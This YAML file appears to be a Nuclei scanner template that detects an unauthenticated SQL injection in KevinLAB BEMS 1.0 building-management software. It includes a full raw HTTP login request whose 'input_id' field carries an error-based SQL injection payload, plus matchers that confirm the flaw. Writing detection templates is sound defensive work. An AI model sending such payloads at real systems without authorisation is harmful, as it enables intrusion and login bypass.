id: kevinlab-bems-sqli

info:
  name: KevinLAB BEMS 1.0 Unauthenticated SQL Injection/Authentication Bypass
  author: gy741
  severity: high
  description: The application suffers from an unauthenticated SQL Injection vulnerability. Input passed through 'input_id' POST parameter in '/http/index.php' is not properly sanitised before being returned to the
    user or used in SQL queries.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5655.php
    - https://www.exploit-db.com/exploits/50146
    - https://packetstormsecurity.com/files/163572/
  tags: kevinlab,sqli,edb,packetstorm

requests:
  - raw:
      - |
        POST /http/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Accept-Encoding: gzip, deflate

        requester=login&request=login&params=[{"name":"input_id","value":"USERNAME' AND EXTRACTVALUE(1337,CONCAT(0x5C,0x5A534C,(SELECT (ELT(1337=1337,1))),0x5A534C)) AND 'joxy'='joxy"},{"name":"input_passwd","value":"PASSWORD"},{"name":"device_id","value":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"},{"name":"checked","value":false},{"name":"login_key","value":""}]

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "XPATH syntax error"
          - ": '\\ZSL1ZSL'"
        condition: and
      - type: status
        status:
          - 200